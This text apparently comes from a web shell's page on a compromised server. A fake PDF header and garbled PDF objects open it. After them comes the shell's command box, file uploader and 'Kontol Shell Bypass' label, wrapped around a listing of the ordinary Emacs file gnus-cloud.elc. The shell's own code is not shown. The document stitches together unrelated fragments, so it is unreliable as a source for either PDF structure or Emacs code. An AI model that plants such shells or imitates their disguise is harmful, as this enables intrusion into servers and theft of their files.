%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :
ikan Uploader :
Directory :  /usr/share/emacs/25.2/lisp/gnus/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //usr/share/emacs/25.2/lisp/gnus/gnus-cloud.elc
;ELC
;;; Compiled
;;; in Emacs version 25.2.1
;;; with all optimizations.

;;; This file uses dynamic docstrings, first added in Emacs 19.29.

;;; This file does not contain utf-8 non-ASCII characters,
;;; and so can be loaded in Emacs versions earlier than 23.

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


(byte-code "\300\301!\210\300\302!\210\303\304\305\306\307\310\311\312&\210\313\314\315\316\311\304\317\320&\207" [require parse-time nnimap custom-declare-group gnus-cloud nil "Syncing Gnus data via IMAP." :version "25.1" :group gnus custom-declare-variable gnus-cloud-synced-files '("~/.authinfo.gpg" "~/.gnus.el" (:directory "~/News" :match ".*.SCORE\\'")) "List of file regexps that should be kept up-to-date via the cloud." :type (repeat regexp)] 8)
(defvar gnus-cloud-group-name "*Emacs Cloud*")
(defvar gnus-cloud-covered-servers nil)
(defvar gnus-cloud-version 1)
(defvar gnus-cloud-sequence 1)
#@54 The IMAP select method used to store the cloud data.
(defvar gnus-cloud-method nil (#$ . 1015))
(defalias 'gnus-cloud-make-chunk #[(elems) "\303\304!rq\210\305\216\306\307	\"c\210\310\n!c\210\311 +\207" [#1=#:temp-buffer gnus-cloud-version elems generate-new-buffer " *temp*" #[nil "\301!\205	\302!\207" [#1# buffer-name kill-buffer] 2] format "Version %s\n" gnus-cloud-insert-data buffer-string] 3])
(defalias 'gnus-cloud-insert-data #[(elems) "\306\307!rq\210\310\216\311 \210	\312\211\203\234@\313\n\314\"\315=\203Z\312\211\306\307!rq\210\316\216\311 \210\317\313\n\320\"!\210\321 \322 +\323\324\313\n\320\"\313\n\325\"
$c\210\fc\210\326c\210*\202\225\313\n\314\"\327=\203\203\323\330\313\n\331\"r\313\n\332\"q\210\321 )#c\210\333\313\n\332\"!\210\326c\210\202\225\313\n\314\"\334=\203\225\323\335\313\n\320\"\"c\210A\211\204*\336 \210\322 +\207" [#1=#:temp-buffer elems elem --dolist-tail-- data length generate-new-buffer " *temp*" #[nil "\301!\205	\302!\207" [#1# buffer-name kill-buffer] 2] mm-disable-multibyte nil plist-get :type :file #[nil "\301!\205	\302!\207" [#2=#:temp-buffer buffer-name kill-buffer] 2] insert-file-contents-literally :file-name buffer-size buffer-string format "(:type :file :file-name %S :timestamp %S :length %d)\n" :timestamp "\n" :data "(:type :data :name %S :length %d)\n" :name :buffer insert-buffer-substring :delete "(:type :delete :file-name %S)\n" gnus-cloud-encode-data #2#] 7])
(defalias 'gnus-cloud-encode-data #[nil "\300ed\301\302p\303\304&\210\305ed\"\207" [call-process-region "gzip" t nil "-c" base64-encode-region] 8])
(defalias 'gnus-cloud-decode-data #[nil "\300ed\"\210\301ed\302\303p\304\305&\207" [base64-decode-region call-process-region "gunzip" t nil "-c"] 8])
(defalias 'gnus-cloud-parse-chunk #[nil "\212eb\210\303\304!\204\305\306!\210\307y\210\310\311\307!!`d{\312\313!r\nq\210\314\216\315 \210c\210	\307U\203<\316 \210eb\210\317 \202@\305\320	\".\207" [data version #1=#:temp-buffer looking-at "Version \\([0-9]+\\)" error "Not a valid Cloud chunk in the current buffer" 1 string-to-number match-string generate-new-buffer " *temp*" #[nil "\301!\205	\302!\207" [#1# buffer-name kill-buffer] 2] mm-disable-multibyte gnus-cloud-decode-data gnus-cloud-parse-version-1 "Unsupported Cloud chunk version %s"] 3])
(defalias 'gnus-cloud-parse-version-1 #[nil "\303m\204Xm\204\304\305!\204\306y\210\202m\204\3071%\310p!0\202'\210\303\303\211:\203T\311\n\312\"\313>\203T\311\n\314\"\315\n\316`T\317`\306	#{D\"B\317`\306	#b\210*\202\237)\207" [elems length spec nil looking-at "(:type" 1 (error) read plist-get :type (:file :data :delete) :length append :contents +] 9])
(defalias 'gnus-cloud-update-data #[(elems) "\304\211\205A\n@\305	\306\"\211\307=\2048\310=\203&\311\305	\312\"!\210\2028\313=\2033\314	!\210\2028\315\316\"\210)\nA\211\204\304*\207" [elems elem --dolist-tail-- type nil plist-get :type :data :delete gnus-cloud-delete-file :file-name :file gnus-cloud-update-file message "Unknown type %s; ignoring"] 5])
(defalias 'gnus-cloud-update-file #[(elem) "\305\306\"\305\307\"\305\310\"\311!\204\312\313\"\210\314!\203@\314!\205E\315\316!r\fq\210\317\216\320 \210\321!\210\322 	\232+?\205E\323\n	#+\207" [elem contents date file-name #1=#:temp-buffer plist-get :file-name :timestamp :contents gnus-cloud-file-covered-p message "%s isn't covered by the cloud; ignoring" file-exists-p generate-new-buffer " *temp*" #[nil "\301!\205	\302!\207" [#1# buffer-name kill-buffer] 2] mm-disable-multibyte insert-file-contents-literally buffer-string gnus-cloud-replace-file] 5])
(defalias 'gnus-cloud-replace-file #[(file-name date new-contents) "\304\305!rq\210\306\216\307 \210	c\210\310\n!\203\311\n\312\n!@\"\210\313ed\n#\210\314\n\315!\"+\207" [#1=#:temp-buffer new-contents file-name date generate-new-buffer " *temp*" #[nil "\301!\205	\302!\207" [#1# buffer-name kill-buffer] 2] mm-disable-multibyte file-exists-p rename-file find-backup-file-name write-region set-file-times parse-iso8601-time-string] 4])
(defalias 'gnus-cloud-delete-file #[(file-name) "\301!\204\302\303\"\210\304!\205\305\306!@\"\207" [file-name gnus-cloud-file-covered-p message "%s isn't covered by the cloud; ignoring" file-exists-p rename-file find-backup-file-name] 4])
(defalias 'gnus-cloud-file-covered-p #[(file-name) "\305	\305\211\203F@\211;\203\n\f\232\203?\306\202?\n:\203?\307\310\n\311\"!\307\312\f!!\232\203?\313\310\n\314\"\315\f!\"\203?\306A\211\204\n*)\207" [matched gnus-cloud-synced-files elem --dolist-tail-- file-name nil t directory-file-name plist-get :directory file-name-directory string-match :match file-name-nondirectory] 5])
(defalias 'gnus-cloud-all-files #[nil "\305	\305\211\203O@\211;\203\nB\202H\n:\203H\306\307\n\310\"\305\307\n\311\"#\305\211\203G@\312\313\314\307\n\310\"!\f#BA\211\2040*A\211\204\n*\237)\207" [files gnus-cloud-synced-files elem --dolist-tail-- file nil directory-files plist-get :directory :match format "%s/%s" directory-file-name] 7])
(defvar gnus-cloud-file-timestamps nil)
(defalias 'gnus-cloud-files-to-upload #[(&optional full) "\306\211\307 \306\211\203C@\310\n!\203-\311\n\f\"\211\203<\312\313\314\n\315\257	B\202<\316\n
\"\203<\312\317\314\nF	BA\211\204
*	\237*\207" [timestamp files file --dolist-tail-- full gnus-cloud-file-timestamps nil gnus-cloud-all-files file-exists-p gnus-cloud-file-new-p :type :file :file-name :timestamp assoc :delete] 7])
(defalias 'gnus-cloud-file-new-p #[(file full) "\305\306\307\310!8\"\311	\"A@\f\204\n\203\n\231\205*\207" [file gnus-cloud-file-timestamps old timestamp full format-time-string "%FT%T%z" 5 file-attributes assoc] 5])
(defalias 'gnus-cloud-ensure-cloud-group #[nil ";\203F\211\203	<\203	\206B\306	\n\"A\206B	\307\232\203&\206+\306	\f\"A\206+\306	
\"A\206+\203\\	\310\311@@@@@A@#\232\204\\\211A\210\202:@@)\206+\203\210	\310\311@@@A@#\232\204\210\211A\210\202h@)\206+A\312\211\203(\313\211A\2428\211;\204\232	\312\314 \3152\206\304 \204\320\316\317\n\"\210\316\320\f
D\"\210A@\321\235\203\351\310\322@\"\202\363\310\311@A@#\211!B\211\"\n\235\204\204\306\"@\n\"\204\"\nB!*0+\232\203\232\312\211\204\237+\211#\203?\306	\n\"\204?	#B\nB#))\202G\323$%\"J\206Z\324$\312\211$?\205t\325$\"\205t\324$\312\211$\205t\326$!)\207" [gnus-cloud-method server gnus-server-method-cache gnus-select-method gnus-server-alist gnus-predefined-server-alist assoc "native" format "%s:%s" nil 4 t server-name mapc #[(name-method) "A	\232\205\f\302\303@\"\207" [name-method method throw server-name] 3] #[(server-alist) "\301\302\"\207" [server-alist mapc #[(name-method) "\303A	\"\205\n\235\204\nB\304\305@\"\207" [name-method method gnus-server-method-cache gnus-methods-equal-p throw server-name] 3]] 3] (nil "") "%s" intern-soft gnus-activate-group gnus-request-create-group gnus-subscribe-group gnus-opened-servers opened gnus-secondary-select-methods servers gnus-newsrc-alist match method alist no-enter-cache nocache name name-method result gnus-cloud-group-name gnus-active-hashtb] 6])
(defalias 'gnus-cloud-upload-data #[(&optional full) "\306 \210\307\310!rq\210\311\216\312	!\313\314	\203\315\202\316#c\210\317c\210\320c\210\321\n!c\210\322\f
\323\211$\205:T\324\n!,\207" [#1=#:temp-buffer full elems gnus-cloud-sequence gnus-cloud-group-name gnus-cloud-method gnus-cloud-ensure-cloud-group generate-new-buffer " *temp*" #[nil "\301!\205	\302!\207" [#1# buffer-name kill-buffer] 2] gnus-cloud-files-to-upload format "Subject: (sequence: %d type: %s)\n" :full :partial "From: nobody@invalid.com\n" "\n" gnus-cloud-make-chunk gnus-request-accept-article t gnus-cloud-add-timestamps] 5])
(defalias 'gnus-cloud-add-timestamps #[(elems) "\306\211\2050\n@\307	\310\"\311\f\"\211\203\312
\f\"\307	\313\"D\fB*\nA\211\204\306*\207" [elems elem --dolist-tail-- file-name gnus-cloud-file-timestamps old nil plist-get :file-name assoc delq :timestamp] 5])
(defalias 'gnus-cloud-available-chunks #[nil "\306\307\211	$\210\310	\"\311\n\"J\307\211\312\313\f!\n\"\203=rq\210eb\210m\204<\314 \211\203<
B\202()\315
\237\316\",\207" [gnus-cloud-group-name gnus-cloud-method group gnus-active-hashtb active headers gnus-activate-group nil gnus-group-full-name intern-soft gnus-retrieve-headers gnus-uncompress-range nnheader-parse-head sort #[(h1 h2) "\302\303H!\302	\303H!V\207" [h1 h2 gnus-cloud-chunk-sequence 1] 4] head nntp-server-buffer] 6])
(defalias 'gnus-cloud-chunk-sequence #[(string) "\301\302\"\203\303\304\305\"!\207\306\207" [string string-match "sequence: \\([0-9]+\\)" string-to-number match-string 1 0] 4])
(defalias 'gnus-cloud-prune-old-chunks #[(headers) "\304!\305\203\"	\204\"\306\307@\310H\"\203\311\211A\210\202\2051\312\313\314\237\"\315\n\"\"*\207" [headers found gnus-cloud-group-name gnus-cloud-method reverse nil string-match "type: :full" 1 t gnus-request-expire-articles mapcar #[(h) "\301H\207" [h 0] 2] gnus-group-full-name] 5])
(defalias 'gnus-cloud-download-data #[nil "\306\211\307 \306\211\203'@\310\n\311H!\fV\203 \n\312H	BA\211\204
*	\205Q\313	\237
\"\210rq\210eb\210\314\315\306\316#\205P\317 \210\320 B\311y\210\202:)*\207" [chunks articles header --dolist-tail-- gnus-cloud-sequence gnus-cloud-group-name nil gnus-cloud-available-chunks gnus-cloud-chunk-sequence 1 0 nnimap-request-articles re-search-forward "^Version " t beginning-of-line gnus-cloud-parse-chunk nntp-server-buffer] 5])
(defalias 'gnus-cloud-server-p #[(server) "	\235\207" [server gnus-cloud-covered-servers] 2])
(defalias 'gnus-cloud-collect-full-newsrc #[nil "\306	A\306\211\205\216@\307\310\n@!\306\211\3112}\206$
\2040\312\313\"\210\312\314D\"\210A@\315\235\203K\316\317@\"\202U\316\320@A@#\211B\211\235\204y\f\204y\321@\"\204yB*0+!\203\206\nBA\211\204\306+\207" [infos gnus-newsrc-alist info --dolist-tail-- no-enter-cache nocache nil gnus-cloud-server-p gnus-find-method-for-group server-name mapc #[(name-method) "A	\232\205\f\302\303@\"\207" [name-method method throw server-name] 3] #[(server-alist) "\301\302\"\207" [server-alist mapc #[(name-method) "\303A	\"\205\n\235\204\nB\304\305@\"\207" [name-method method gnus-server-method-cache gnus-methods-equal-p throw server-name] 3]] 3] (nil "") format "%s" "%s:%s" assoc method gnus-select-method gnus-server-method-cache gnus-server-alist gnus-predefined-server-alist name name-method] 6])
(provide 'gnus-cloud)

Kontol Shell Bypass